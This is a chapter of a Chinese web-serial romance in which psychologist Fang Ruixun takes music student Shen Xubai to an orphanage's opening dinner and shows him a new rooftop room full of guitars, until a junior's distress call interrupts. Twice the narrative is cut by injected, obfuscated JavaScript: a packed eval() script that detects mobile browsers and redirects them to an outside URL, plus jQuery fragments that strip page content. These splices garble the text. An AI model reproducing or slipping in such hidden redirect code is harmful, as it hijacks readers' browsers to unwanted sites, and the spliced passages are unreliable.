“没有,那是我原来的房子。”
“是要搬回去吗?”
“不是”,沈叙白看到不远处农场主的楼房,那一两点小灯透出来,在空旷的草地上闪烁,“只是最近要过去住。”
方锐寻不置可否,只是静静倾听。半晌,他听到沈叙白再次开口:
“方......哥,我能问你件事吗?”
“你说。”
“你会不会觉得,我这个人真的很叛逆?”
“为什么?”
“所有人都认为我不应该学音乐,但是我就是要去做;所有人都觉得那间公寓离学校更近,但是我偏偏要去......”
听到第一句,方锐寻就不自觉地皱眉,起初他还能等沈叙白一句一句慢慢斟酌,但内心想要反驳的情绪升腾而起,逼迫他开口。
“你说的‘所有人’是谁?”
“就,我身边的人,都这样认为。”
“这个’所有人‘,也包括我吗?”
如果这是一场关于心理学的考试,方锐寻的表现会直接让他被赶出去——这完全不是一个心理医生应该表现出来的沉静和理性。
太心急了。
可他在面对沈叙白,面对他的疑虑和纠结时,他没法像“方医生”一样冷静自持,再对症下药。
沈叙白在这个问题下愣住了,本能告诉他否定,但话到嘴边却怎么也说不出口,最终,他带着试探问道:
“你会是这里面的人吗?”
这语气,在Visonni相遇时一模一样。
“我以为”,方锐寻单手握着方向盘,在岔路口转动手腕,挑起一边眉梢,表情中带着疑问和无可奈何:“我们现在坐在车里,答案已经很明显了。”
“所以是?”
“如果’所有人‘都反对你,那我就站在他们的对立面。”
明明只是轻飘飘的一句话,入耳后却像一记重锤砸在沈叙白心上,鼻尖有些酸涩,他偏头把自己的表情隐藏在阴影里。
方锐寻没有去看身边那个人的小动作,他装作什么都不知道,驾驶车辆在公路上平稳行驶,开上另一条路,在路灯洒下地交错等挂钩中,他的嘴角浮现几丝笑意。
他想起沈叙白问他:
“你现在也觉得,我不是一个好学生吗?”
他想起沈叙白过往一个又一个否定自己的瞬间,想到他伸出又顿住的手,想到他捏着信纸时颤抖的指尖......最终,方锐寻笑道:
“叙白,你还说你不爱否定自己。”
“没有。”
一模一样的回答。
但方锐寻只是无奈地笑:
“嗯,没有。”
到福利院时天已经完全黑了,方锐寻在楼下把沈叙白放下,自则去附近停车。
沈叙白一个人先上了楼,二楼的礼堂灯还亮着,几个孩子坐在一起玩跳棋。屋内被装饰一新,两侧墙边都安装新的玻璃柜,孩子们的手工品被一件件放好。
沈叙白站在柜前,目光落在一件橡皮泥捏成的物品上,样子很奇怪,看得出来做这件东西的人手艺不精,但却十分认真。
深棕色部分是一个压扁的葫芦形状,上面插着一根树枝,用几根金黄色的丝线连着两端,看上去很眼熟。
沈叙白往这件作品的侧面看,用刻刀写了小字——Xilin。
是上次见过的那个男孩。
门口传来脚步声,紧接着,熟悉的声音在身后响起:
“诶,叙白来了。”
是徐迟。
同时进门的还有一位女性,衬衫得体偎贴,深灰色职业半身裙,卷发被她整理好放在脸侧,嘴角带着淡淡的笑意,单肩背着一只深红包包。
很眼熟。
沈叙白一时还没想起在哪里见过,对方就笑着上前向沈叙白伸出手:
“是沈叙白吧,我是林薇,之前给你发邮件的那位。”
“原来是林女士。”
沈叙白握上他的手,借着这个近距离的姿势,对上林薇的目光。
眼尾轻轻上挑,瞳孔中的眼波让每个倒映在其中的人都被溺在温柔里,但细看却又带着寒冷,像是南下的凌冽寒风,过境时带来严寒,却永不停息。
太过专业,也距离太远。
“我们,是不是见过?”
“有可能”,林薇收起手,“之前Bocconi有一场研讨会,说不定见过。”
“那你和方哥是同事?”
“是,我和他都是被派过来交流学习的,你是他弟弟?我很少听到别人这样称呼他。”
“不是,是我之前想不到叫他什么,就随便用了这个称呼。”
林薇像是想到什么,之前方锐寻在金融教学楼下的掩饰被猜了个七七八八,但她什么都没说,只是装作疑惑移开目光:
“我和方共事多年,以我对他的了解,他最排斥的就是别人叫他哥。”
“啊,那我......”
沈叙白内心满是疑惑,连带着不安让他自我怀疑:这样是不是太冒犯了?
那既然这么介意,为什么最初要同意让他叫这个称呼。
“不过......他既然让你叫他哥,你一定是个特别的人。”
林薇看着沈叙白愣怔的目光发笑,身边的徐迟看了两眼手机,说:
“林医生,叙白,晚宴快开始了,工作人员叫我们过去。”
“好,那走吧,别让他们多等。”
说着,林薇走到一边叫上还在下跳棋的孩子们,拉着他们往餐厅走。
林薇踩着黑色高跟鞋走在前面,沈叙白和徐迟跟在后面,走到一个拐角,沈叙白突然拉住徐迟的胳膊,两人同时停下。
沈叙白看了一眼走远一些的林薇,开口问:
“怎么会是她啊?”
沈叙白背靠的墙壁在寒风中中只剩冰冷,冻得沈叙白一哆嗦,他迅速站直,眼里满是不可置信。
“啊?有什么问题吗,你们以前认识?”
“我应该见过她,就是刚说的研讨会,他俩都站在楼下......”
“所以你们早就认识了?那为啥那天给你打电话你还不来。”
徐迟撇撇嘴,端着胳膊撇了他一眼。
“不是,我不认识她,只是感觉见过,我只是认识方......医生。”
既然不喜欢,那还是和别人一起喊方医生吧。
“哦,我懂了,那一切都说得通了。”
徐迟原本埋怨的表情消失了,取而代之的是一副恍然大悟:
“我坐林医生的车来的,路上她说原本有四个待选福利院,但方医生在看完所有资料后选择了这一家......”
沈叙白直接打断了他的话:
“你说是谁选的?”
“方医生啊,怎么了,他们俩是同事,商量着来很正常吧,我说你今天是怎么了,一整个......”
徐迟的话还在耳边响,但沈叙白没听进去一句,思绪乱成一锅粥,此刻寒风也没把他吹醒,只剩下恍惚。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146262|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>方锐寻选的。
那他是不是知道自己曾经来过这里做交流活动。
难怪那天在研究中心的大楼里,方锐寻看到自己的眼神里没有一丝惊讶。
这些都不是巧合。
“如果’所有人‘都反对你,那我就站在他们的对立面。”
“我以为我们现在坐在车里,答案已经很明显了。”
如果他真的认为沈叙白不学无术,还费力做这些干什么呢?
手机铃声、弹奏邀请、活动策划、还有送给他的音乐专辑......
答案早就摆在明面上了,只是他自己不敢去相信。
“怎么了你,魂被人勾走了啊。”
徐迟给了他肩膀一巴掌,沈叙白才回过神。
“走了,我说你怎么奇奇怪怪的。”
徐迟拉着一脸懵的沈叙白往餐厅走。
两张窄而长的桌子被铺上红布,烛台上还有孩子们用丝带装饰的蝴蝶结,孩子们坐一桌,剩下一桌就是福利院的护工和今天来参与活动的人。长桌尽头,架子上系着一根粉红布条,上面印着福利院和研究中心的标志,空隙里还有孩子们用油彩涂上去的不同形状。
除了院长,其他人都已入座,只剩方锐寻旁边还有两个连着的位置,沈叙白准备悄悄溜过去坐那个更远的,结果他刚走近,方锐寻就开口:
“等你呢,过会带你去个地方。”
说着,他用手拍了拍身旁的空座位。
“......”
这下只能坐这里了。
两人刚坐下,院长就在孩子们叽叽喳喳的嬉闹声中进门,他向右手边的林薇他们点头问好,最后在餐桌尽头停下来,清清嗓子。
餐厅里安静下来,院长年老又带着慈祥的声音在屋内响起:
“感谢各位百忙之中来参加今天的开幕仪式,首先,我谨代表回声之家向米兰研究中心的各位工作人员和参与这次活动的两位同学表示衷心的感谢。”
“今天的剪彩,就请孩子们和各位派出一个代表吧。”
院长让出中心的位置,对孩子们坐得那桌说:
“我已经问过大家的有没有意愿,希林是最先找我报名的,所以,希林来吧。”
在孩子们响亮的掌声中,希林挺胸抬头走到最前方,站定后向两边各鞠一躬。他今天穿了一件小西装,还像模像样打了领带,棕色自来卷被梳理整齐,看那气质像是要和别人谈什么生意。
“那,这边呢?”
院长抬手示意另外一桌,林薇笑道:
“这个项目本来也是方医生提出的,理应方医生剪彩。”
林薇坐在最前面,说话时回头扫了一眼,目光却刚好落在沈叙白身上。
方锐寻看了一眼面前的沈叙白,开口笑道:
“策划活动方面多亏了叙白和徐迟,没有他们项目也启动不了,就让他们俩来吧。”
所有人的目光又落在两人身上,毕竟剪彩这事儿也只需要一个人上场,被点的两个人必然会有一番推让,只是徐迟率先开口:
“这样吧,剪彩的剪刀比较大也比较重,我来帮着孩子,咱们这边就让叙白来吧。”
说着他径直起身,在掌声中,拽了沈叙白一把,和他一起来到前方。
众目睽睽之下,沈叙白面上自然有些发烫,更过的是,他感受到一簇紧紧跟随着他的目光。
但很奇怪,这份注视却带着鼓励的意味,没有审视,没有评判,只是静静地跟随着他,无声却又温暖。
他和其他人......确实不一样。
下次一定不说所有人了。
16. 我在
剪彩结束后,晚宴正式开始。
沈叙白坐回方锐寻身边,清清嗓子后开口,语气毫无波澜:
“你刚......为什么不去?”
方锐寻面色没什么变化,甚至没有抬头,不动声色地把指尖附在碗沿,把沈叙白面前那碗汤拿走,换成自己面前那碗。
“你应该不太喜欢吃胡萝卜”,他语气平静,就像只是在陈述今天下午阳光很好这样的事实,“这很奇怪吗,你是整个活动的策划者,代表我们上去剪彩也无可厚非。”
沈叙白的目光跟随着方锐寻移动的指尖,看到被拿走的那碗里漂浮着胡萝卜片,又转回来看着面前那碗新换过来的汤,有些惊讶地开口:
“你怎么知道我不喜欢胡萝卜?”
“上次出去吃饭我问你有什么忌口,你没说,但盘子里的胡萝卜就没动过。”
眼前一闪,沈叙白想到在运河边的那顿晚饭,当时自己还在翻阅孩子们的字画,内心一团乱麻,思绪早就震惊和感动冲刷地一塌糊涂。
加上只是不喜欢,不是完全不能接受。
他什么都没说。
但就是被方锐寻敏锐地察觉到了。
“......谢谢。”
喉咙像是被卡住,沈叙白一时不知道说什么,来回想了好几句话最终都没开口,犹豫半天只是道谢。
对方倒是没什么反应,只是低低地“嗯”了一声。
“你就不问我为什么不喜欢吗?”
方锐寻没想到沈叙白还会接着问,脸上闪过一丝不可置信,微微挑起眉,带着无可奈何地笑意问道:
“为什么要问为什么?”
“有些事总得有个理由吧,比如说......味道不好,过敏。”
“你不喜欢,这不就是理由吗?”方锐寻抿了一口手边的奇诺托,微苦的柑橘味在口腔蔓延,“不需要为什么,你的感受本就是最重要的。”
晚宴结束后,院长邀请各位到礼堂,说孩子们准备了一些节目。
方锐寻走过去,带着礼貌的笑容和院长握手,接着低头交谈了几句。院长脸上当即露出笑容,从兜里拿出一整串钥匙,从中取下一把,塞到方锐寻手里,拍拍他的肩膀离开了。
“走,带你去个地方。”
方锐寻在沈叙白面前站定,指尖卡着钥匙顶端的圆环,轻轻晃动,语气带着神秘的意味。
“去哪里?”
“去了你就知道了。”
沈叙白跟在方锐寻后面,两人跨过主楼,经过连廊到侧楼,又爬了好几层。
走廊上的灯光不算亮,沈叙白走着走着,突然听到前面的人开口:
“你今天在车上问了我一件事,我还没回答你。”
“什么?”
沈叙白想了想,实在没想起来。
“你问我,会不会觉得你很叛逆。”
“那你......”
“我的答案是,当然。”
所以,他也和这些人一样,觉得他在无理取闹,对么?
此刻他们停在一扇木门前,方锐寻转动门把手,伴随着门锁年代久远而产生酸牙的吱呀声,在扑面而来的冷风中开口:
“‘叛逆’在心理学上有另一个名称,叫做‘分离个体化’,健康的人生,就是从心理上离开原生家庭和他人评价,成为独特的自己开始。”
“这从来不是一个贬义词,而是你生命力的标志。”
方锐寻跨过门槛走上平坦开阔的天台,月光落在肩头和发梢,勾勒出立体的轮廓。
沈叙白还站在原地没动,他看着方锐走到不远处的一片阴影面前。
那是一间阁楼,插进钥匙后用力旋转几圈,玻璃门被打开,阁楼内一连串灯带被点亮,柔软的沙发,多彩的毛绒玩具,堆在一边的玩具都被浸润在暖色灯光中。
“这是.....”
沈叙白站上天台,看着十来米外玻璃建造的阁楼,一时有些语塞。
“别站外面,进来,外面多冷。”
方锐寻朝门外招招手,看着沈叙白近乎小心翼翼地踏上地毯,视线落在屋内的每一个陈设,头顶各种星星小灯的光点映照在他眼里,像倒映在湖水中的星星。
真亮。
看着他的眼睛,方锐寻内心升起一丝慰藉。
他敏锐地察觉到,让面前这个人开心,他也会不自觉地高兴起来。
不知道这是不是一件好事。
“怎么样?还喜欢吗,这是我和院长商量过后建成的小阁楼,以后就在这里进行和孩子们的交流活动了。”
方锐寻张开双臂,长叹一声,向后栽倒在柔软的沙发上,他舒服地眯了眯眼睛,只抬起右手,指着角落的一个大纸箱:
“看看那里,新准备的教学工具,请沈老师看看合不合格。”
沈叙白转身关上玻璃门,呼啸的风声被拦在门外,屋内安静地能听到对方的呼吸声。
他走到角落打开那个几乎到他肩膀,又有将近两米宽的纸箱,随着指尖的动作,最先入眼的是黑色的布料,然后是质感挺括的边缘——这是吉他包。
而里面的东西把背包形状填充完整,沈叙白震惊地拿起最上面的那一把,指尖用力把拉链拉开。
银色的调节按钮和金铜色的琴弦倒映在瞳孔里,他又向下看着一模一样的吉他包,他的声音带着不可思议:
“这都是吉他?”
“当然。”
方锐寻撑着沙发坐起来,笑意吟吟地看站在墙角的沈叙白,他像是突然想到了什么,眉间一挑,带着不怀好意的表情开口:
“你是不是还欠我点什么来着?”
“我当然记得。”
沈叙白从纸箱中捞出一把吉他,坐在一旁的高脚凳上,拉链滑索的声音在屋内响起,沈叙白从包里拿出吉他,笑道:
“有调音器吗?”
方锐寻看着他认真的表情,笑着指了指他身旁的桌子:
“在这里,乐器方面的东西准备得很齐全。”
沈叙白压下按夹把调音器固定在吉他上,指尖随着电子线的提示来回转动,直到所有琴弦对应的标识都变成绿色。
“好了。”
说着,方锐寻拿出手机,点开红色按键后放在面前的茶几上。
“说好要给我录一版新的。”
沈叙白低头笑了,刘海耷拉下来,把眼前的视线切碎,他轻轻闭上眼睛,指尖向上动了动。
手机屏幕上的直线开始颤抖,跟随音乐的节奏而改变形状。
沈叙白感受着不同和弦带来的触感,沉浸在音乐的潮水中,直到快要演奏完,他放在兜里的手机突然震动起来。
“......”
演奏途中被打断,沈叙白内心自然不美妙极了,他皱着眉用左手抱紧吉他,右手伸进兜里拿手机。
不远处的方锐寻没有说话,默默收起放在桌上的手机,示意沈叙白先接电话。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146263|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然而屏幕上备注更燃起沈叙白内心的怒火,跳动的字符就像在钢丝上乱蹦,每一下都刺激着他的神经:
姚安。
中午才吃完饭,打着问问题的名义问一堆乱七八糟的问题,现在又是要干嘛?
沈叙白强压着内心的烦躁,深吸一口气后接通电话:
“喂。”
“学长。”
“有事吗?”
“导师要我把资料转交给你。”
“知道了,我现在没在学校,你先把资料放在导师那,我明天去学校了拿。”
听到是关于竞赛,沈叙白冷静下来,无论如何都不能因为自己的情绪影响到整个小组的最终成绩。
“学长,我不能回学校。”
“为什么?”
“学长......你能来帮帮我吗?”
“到底怎么了?”
对面的人像是连呼吸都不稳,甚至带着因为压住情绪而产生的呜咽声,他急促地喘了几声才带着点哭腔开口:
“我,我家进水了,我怕漏电就把电闸拉了,屋里太黑了......”
“别急,你给我发一个地址,我现在就找人上门帮你修。”
“不行的......太晚了我不敢,学长你来帮帮我好吗?”
“我也在外面,暂时回不去。”
沈叙白抬头看了一眼不远处坐在沙发上的方锐寻,那人只是静静地低头看手机,脸上没有一丝不耐烦,沈叙白大脑飞速运转,想着要不找一个熟人去帮他收拾一下,结果对方下一句话直接抛出一个惊天大雷:
“资料我忘记放在哪里了,地上都是水,万一......万一......”
那一瞬间沈叙白差点一口气没上来,音量顿时提高了好几倍:
“你说什么??”
坐在沙发上的方锐寻也因为被吸引注意力而抬起头,而姚安像是被他因气愤而拔高的声音吓到了,期期艾艾地哆嗦:
“我......我......学长我......”
沈叙白感觉自己的理智和耐心已经到了强弩之末,再拖几句就克制不住要出言不逊,像是烟火点燃前的最后一小段引线,强压住内心快奔涌而出的粗口,低声道:
“我过会过去,你给我发地址。”
没等对方会话,沈叙白就挂断了电话。
他低头开始收拾东西,见状方锐寻站起来,沉静的声音传到耳边:
“是出什么事了吗?”
“我要赶紧回去一趟。”
他把吉他塞回纸箱,又认真折叠好箱子,因为着急起身没站稳而撞到身边的高脚凳,沈叙白的瞳孔瞬间缩紧,在慌张中等待着即将到来的疼痛。
就在这时,身后伸出一只手,紧紧拽住他的胳膊,又拉了一把让他站稳,冷静的声音带着些安抚的意味:
“我送你回去。”
沈叙白内心犹如热锅上的蚂蚁,但此刻他残存的理智告诉他今晚的活动还没结束,如果因为自己而让方锐寻提前离场,实在不合适。
“没事,我打车回去就好。”
“早就说好了今天来回都是我接送,走吧。”
说着,方锐寻推开玻璃门,向还站在原地的沈叙白做了一个“请”的手势。
沈叙白踏出阁楼,冬夜的凛冽寒风呼啸而来,却带来方锐寻清晰冷静的话语,连着神经让他平稳下来。
“别急,我在。”
他这样说。